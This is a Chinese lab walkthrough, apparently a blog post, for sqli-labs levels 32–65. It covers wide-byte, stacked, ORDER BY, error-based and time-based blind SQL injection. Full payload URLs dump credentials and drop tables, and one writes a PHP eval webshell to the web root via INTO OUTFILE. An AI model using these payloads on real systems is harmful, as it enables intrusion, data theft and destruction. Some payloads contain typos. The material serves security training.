title: sql-labs靶场 32-65
tags: sql-labs
abbrlink: f6a7800a
date: 2022-08-25 16:08:02

宽字节

宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。    中文、韩文、日文等均存在宽字节,英文默认都是一个字节。
在使用PHP连接MySQL的时候,当设置“set  character_set_client = gbk"时会导致一个编码转换的问题。

例子:   
id= 1'      处理  1 \'    进行编码   1%5c%27         带入sql后  id = \'and XXXX  此时无法完成注入
id=1%df'    处理 1%df\'   进行编码   1%df%5c%27      带入sql后  id =1運'and XXX  此时存在宽字节注入

Less-32

1. http://127.0.0.1/sqli/Less-32/?id=1 这个时候返回的是正常数据
2. http://127.0.0.1/sqli/Less-32/?id=1' 此时返回的是经过转义之后的数据,我们通过返回的数据可以看到,单引号已经被转义了 
3. http://121.199.30.46/Less-32/?id=1%df' 或者http://121.199.30.46/Less-32/?id=1%df%27此时发现出现了注入点,这个时候我们继续
4. http://121.199.30.46/Less-32/?id=1%df' --+ 这个时候返回正常
5. http://121.199.30.46/Less-32/?id=1%df' order by 4 --+ 此时返回与以前的关卡中同样的错误,接下来就是正常的注入操作了。

%5c代表的是 \ 
此时构造: %5c %5c %5c %5c'
只要是我们能将返回的结果中对于单引号没有转义字符进行处理即可。
示例方法: http://121.199.30.46/Less-32/?id=-1%aa%5c' union select 1,2,3 --+
其余操作基本相似。 

Less-33

通过源码可得知: 在32关中使用的是自定义的过滤,本关中使用的是php中的 addslashes()函数

其作用:addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

法1: 直接使用宽字节的方法
http://127.0.0.1/sqli/Less-33/?id=1%df'--+

法二:自定义闭合
http://121.199.30.46/Less-33/?id=-1%aa%5c%27 union select 1,2,3--+
其实和less32关基本相同。

Less-34

我们首先测试在POST情况下,传入正确和错误的值回显情况:
1.  admin:admin 正确的密码和账号   返回姓名等常规信息
2.  ad:ad   错误的密码和账号       返回的是登录失败
3.  同样通过代码可知,本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:
法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式
法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入
我们首先在使用bp进行抓包之后,在bp中修改信息得到返回信息即可!
1. 我们本来传入的数据: a%df'
2. 但是我们抓包之后的数据: uname=a%25df%2527&passwd=a%25df%2527&submit=Submit
我们可以发现%经过url转换之后为%25
所以我们需要在拦截数据包之后将数据进行修改: uname=a%df%27&passwd=a%df%27&submit=Submit
接下来就是正常的注入流程。

Less-35

其实本关和34基本相同,我们首先分析一下代码:
$id=check_addslashes($_GET['id']);  首先还是对id的值进行过滤处理
$sql=“SELECT * FROM users WHERE id=$id LIMIT 0,1"; 在这个位置中,id值没有经过单引号的包裹,所以我们只要在注入的时候防止我们构造的sql注入句子中避免单引号等即可!

法一: 联合查询注入
http://127.0.0.1/sqli/Less-35/?id=-1 union select 1,2,group_concat(schema_name) from    information_schema.schemata#

法二:延时注入
http://127.0.0.1/sqli/Less-35/?id=1 and  if( length(database())=1, 1, sleep(5)    )#通过这样的方式进行判断。

Less-36

我们首先进行源代码审计,发现代码中使用了

mysql_real_escape_string 函数

我们此处尝试直接使用原来的宽字节注入:
http://127.0.0.1/sqli/Less-36/?id=1%df' # 发现有作用,可以进行注入
http://127.0.0.1/sqli/Less-36/?id=1111%df'   union select 1,2,3 --+ 接下来就是正常的注入流程了。


完整演示:

1. http://127.0.0.1/sqli/Less-36/?id=1111%df'   union select 1,2,group_concat(schema_name) from information_schema.schemata  --+ 1取出所有的库
2. http://127.0.0.1/sqli/Less-36/?id=1111%df'   union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+ 取出所有的表
3. http://127.0.0.1/sqli/Less-36/?id=1111%df'   union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273  --+ 取出所有的字段
4. http://127.0.0.1/sqli/Less-36/?id=1111%df'   union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+ 取出所有的字段的值

注意:为什么一直强调能够使用十六进制的就使用十六进制,因为本关中单引号全部会被转义

Less-37

我们首先测试在POST情况下,传入正确和错误的值回显情况:
1.   admin:admin 正确的密码和账号 返回姓名等常规信息
2.   ad:ad   错误的密码和账号返回的是登录失败
3.   与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!
分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:
法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 '   '
法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入
详见34

堆叠注入

https://www.cnblogs.com/lcamry/p/5762905.html

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
我们可以在mysql命令行中进行测试:
Select * from users; create table test1 like users;
Show tables;
Select * from users; drop table test1;
Select * from users; select 1,2,3;

Less-38

我们直接构造语句:
http://127.0.0.1/sqli/Less-38/?id=1'; create table test2 like users; --+
然后在数据库中查看是否可以完成执行: show tables;
我们可以构造数据删除已经创建的表:
http://127.0.0.1/sqli/Less-38/?id=1'; drop table test2 ; --+

Less-39

与less38不相同的地方是sql语句的id值处理:我们将38中的id=' '; 修改为id= ; 即可

我们直接构造语句:
http://127.0.0.1/sqli/Less-39/?id=1 ; create table test2 like users; --+
然后在数据库中查看是否可以完成执行: show tables;
我们可以构造数据删除已经创建的表:
http://127.0.0.1/sqli/Less-39/?id=1 ; drop table test2 ; --+

Less-40

与less38、39不相同的地方是这里的错误不会回显,但是不影响我们注入测试,而且我们将id修改为id=(' ');
我们直接构造语句:
http://127.0.0.1/sqli/Less-40/?id=1'); create table test2 like users; --+
然后在数据库中查看是否可以完成执行: show tables;
我们可以构造数据删除已经创建的表:
http://127.0.0.1/sqli/Less-40/?id=1'); drop table test2 ; --+

Less-41

和40关相同,没有回显信息,但是不影响我们注入测试,而且id值没有经过包裹;
我们直接构造语句:
http://127.0.0.1/sqli/Less-41/?id=1 ; create table test2 like users; --+
然后在数据库中查看是否可以完成执行: show tables;
我们可以构造数据删除已经创建的表:
http://127.0.0.1/sqli/Less-40/?id=1 ; drop table test2 ; --+

Less-42

当我们第一眼看到这个界面的时候,感觉和二次注入是不是有点像,但是这里和二次注入有一点不同:

我们直接来到login.php中,观察username和password的处理问题:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);  
$password = $_POST["login_password"];

此时的sql为: "SELECT * FROM users WHERE username='$username' and password='$password'" 
我们可以看到password没有经过mysqli_real_escape_string()函数进行处理,所以这个时候我们在这个位置进行构造:
在登录的时候,我们使用任意的username,password可以构造为:

a'; create table test2 like users;   # 然后观察是否有test2表
a';  drop table test2;               # 观察test2表是否删除

Less-43

这一关和less42非常像,区别就在于对于id值得处理:
此时的sql为: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
在登录的时候,我们使用任意的username,password可以构造为:
a'); create table test2 like users; #   然后观察是否有test2表
a');  drop table test2; # 观察test2表是否删除

Less-44

本关和前面的基本是一样的,只是没有报错回显信息
此时的sql为: $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
在登录的时候,我们使用任意的username,password可以构造为:
a'; create table test2 like users; #   然后观察是否有test2表
a';  drop table test2; # 观察test2表是否删除

Less-45

本关和less43关的基本是一样的,只是没有报错回显信息
此时的sql为: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
在登录的时候,我们使用任意的username,password可以构造为:
a'); create table test2 like users; #   然后观察是否有test2表
a');  drop table test2; # 观察test2表是否删除

堆叠注入写一句话木马

  • 写权限
  • 一句话木马
  • select xxx into outfile xxx
  • 写入点; 绝对路径

php一句话木马:<?php   @eval($_POST[test2]); ?>
绝对路径: C:\phpstudy\PHPTutorial\WWW\
使用函数: select xxx into  outfile xxx
select '<?php @eval($_POST[test2]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test2.php';

mysql知识补充

select * from users order by 1 desc;  使用降序进行排列

select * from users order by1 asc;使用升序进行排列

right()    select right(database(),1);

Left()    select left(database(),1);

lines terminated by xxx   以xxx为结尾:

select '<?php @eval($_ POST[test2]);?>' into outfile 'C:\pbpstudy\PHPTutorilWWW.test2.pbp'  lines terminated by 0x363636; 

最后写好的文件会以666结尾。

Less-46

1. http://127.0.0.1/sqlii/Lesss 46/?sort=3          sort的 值我们可以设置1,2,3均可!
2. http://127.0.0.1/sqlii/Lesss 46/?sort=3 desc     此时结果以第三列的降序进行排列
3. http://127.0.0.1/sqlii/Lesss 46/?sort=3 asc此时的结果以第 三列的升序进行排列,说明在sort位置存在注入漏洞
4. http://127.0.0.1/sqlii/Lesss 46/?sort=left(database() ,1 )这里面显示没有什么反应,那么我们尝试使用延时注入或者是报错


1. http://192.168.169.149:86/Less-46/?sort=3 and updatexml( 1, concat(0x7e, (database() ) ) , 1) --+ 爆出当前使用数据库名称
2. http://192.168.169.149:86/Less-46/?sort=3 and updatexml( 1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1) ) , 1) --+ 爆出数据库中的第一个值, 

Less-47

http://192.168.169.149:86/Less-47/?sort=3 '  and '1'='1 

Less-48

  • 不能使用报错注入,要使用基于时间的盲注!

Less-49

  • 使用盲注

Less-50

1.基于时间的盲注
http://127.0.0.1/sqli/Less-50/?sort=1 and if ( (length(database()>1) ,1, sleep(5) )--+

2.基于报错往入:
http://127.0.0.1/sqli/Less-50/?sort=1 and updatexml( 1, concat(0x7e, (database()) ) ,1) --+


3.写一句话木马

4.使用堆叠注入创建删除一个表:
http://127.0.0.1/sqli/Less50/?sort=1; create table crow like users; --+
http://127.0.0.1/sqli/Less50/?sort=1; drop table crow; --+

5.使用堆叠注入写一句话木马

Less-51

这个是和less-50唯一不同的地方, 而且可以存在报错回显,我们就可以使用以下几种方法:
1.基于时间的盲注
2.基于报错注入:
3.写一句话木马
4.使用迭代注入创建删除一个表:
5.使用对叠注入写一句话木马
以上方法请参考less50,其他的都是相同的。

Less-52

我们直接看源码中的sql语句SELECT * FROM users ORDER BY 1
这里无法存在报错回显,我们就可以使用以下几种方法:
1.基于时间的盲注
2.写一句话木马
3.使用堆叠注入创建删除一个表:
4.使用堆叠注入写一句话木马
以上方法请参考less50,其他的都是相同的。只是不能够回显错误,所以不能用盲注。

Less-53

我们直接看源码中的sql语句SELECT * FROM users ORDER BY '1'
这里无法存在报错回显,我们就可以使用以下几种方法:
1.基于时间的盲注
2.写一句话木马
3.使用堆叠注入创建删除一个表:
4.使用堆叠注入写一句话木马
以上方法请参考less50,其他的都是相同的。只是不能够回显错误,所以不能用盲注。

Less-54

本关中是对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名

1. http://127.0.0.1/sql/Less-54/index.php?id=1 返回正常的信息
2. http://127.0.0.1/sql/Less-54/index.php?id=1 ' 有错误,但是没有回显信息
3. http://127.0.0.1/sql/Less-54/index.php?id=1 ' --+返回正常
4. http://127.0.0.1/sql/Less-54/index.php?id=1 ' order by 1  --+返回正常
5. http://127.0.0.1/sql/Less-54/index.php?id=1 ' order by 4  --+返回错误
6. http://127.0.0.1/sql/Less-54/index.php?id=1 ' order by 3  --+返回正常,说明存在三列
7. http://127.0.0.1/sql/Less-54/index.php?id=1 ' union select 1,2,group concat(table_name) from Information_schema_tables where table_schema =0x4348414c4c454e474553  --+  爆出表名,因为我们已经知道数据库的名字是challenges 
8. http://127.0.0.1/sql/Less-54/index.php?id=1 ' union select 1,2,group_concat(column_name) from Information_schema.columns where table._name =0x6a7a3063323772396c38  --+ 取出所有的列名
9. http://127.0.0.1/sql/Less-54/index.php?id=1 ' union select 1,2,group concat( concat ws(0x7e,id,sessid,secret BTL5,tryy))from challenges. jz0c27r9I8 --+取出所有的数据

Less-55

本关中是对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名
Ssql="'SEL ECT * FROM security.users WHERE id=($id) LIMIT 0,1";与less54唯-不同的地方在于id值的处理
1. http://127.0.0.1/sqli/Less-55/?id=1) --+  所以直接按照less54的来即可!
如果在实际环境中遇到这样的情况,次数不够的话,我们可以从ip地址等可能的地方突破,比如更换ip地址等

Less-56

本关中是对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名
$sql=“SELECT * FROM security.users WHERE id='$id) LIMIT 0,1";与less55唯一不同的地方在于id值的处理
1. http://127.0.0.1/sqli/less-56/id=1')   --+所以直接按照ess54的来即可!
如果在实际环境中遇到这样的情况,次数不够的话,我们可以从ip地址等可能的地方突破,比如更换ip地址等

Less-57

本关中是对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名
Sid= “ ".di."";
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
与less54唯不同的地方 在于id值的处理
1. http://127.0.0.1/sqli/Less 57/id=1" -- +所以直接按照less54的来即可!
如果在实际环境中遇到这样的情况,次数不够的话,我们可以从ip地址等可能的地方突破,比如更换ip地址等

Less-58

本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id='1'
1. 过不断重置数据库发现: 
1. http://127.0.0.1/sqli/Less-58/index.php?id=1' union select 1,2,3 --+这里没有回显数据,所以我们使用union select查询好像没有什么效果
2. http://127.0.0.1/sqli/Less-58/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from Information_schema.tables where table_schema= 0x4348414c4c454e474553 ),1) --+ 直接爆出表
3. http://127.0.0.1/sqli/Less-58/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='mk25r38vwy ),1)-+ 直接爆出字段名字
4. http://127.0.0.1/sqli/Less-58/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret _OHW4) from CHALLENGES.mk25r38vwy ),1)-+得到字段的值

Less-59

本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id=1 LIMIT 0,1
这个与less58中不相同的地方大概就在id的处理上,其余的都是相同的。

Less-60

本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id=("1") LIMIT 0,1
这个与less58中不相同的地方大概就在id的处理.上,其余的都是相同的。

Less-61

本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id=(("1“)) LIMIT 0,1
这个与less58中不相同的地方大概就在id的处理.上,其余的都是相同的。

Less-62

本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id=('1') LIMIT 0,1
看到这么多次数,第一时间想到了就是坑爹的延时注入,我们在这里演示一个延时的写法,在后来可能大概不放鸽
子的课程中会写一个
1. http://127.0.0.1/ali/lesss-62/index.php?id=1) and if( (length(database()) = 1) ,1, sleep(5))  --+首先判断数据库的长度
(不过好像已经给出了数据库的名字了。。。。)
2. http://127.0.0.1/sql/Less -62/index.php?id=1) and if( left( (select table_name from information_schema.tables where
table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+判断该表的第一位字母是不是比a大

Less-63

本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id='1' LIMIT 0,1

Less-64

本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id=‘1’ LIMIT 0,1(也就是这里不一样,这个sql语句可能是错误的,本关请参考视频内容)

Less-65

本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名
SELECT * FROM security.users WHERE id=("1") LIMIT 0,1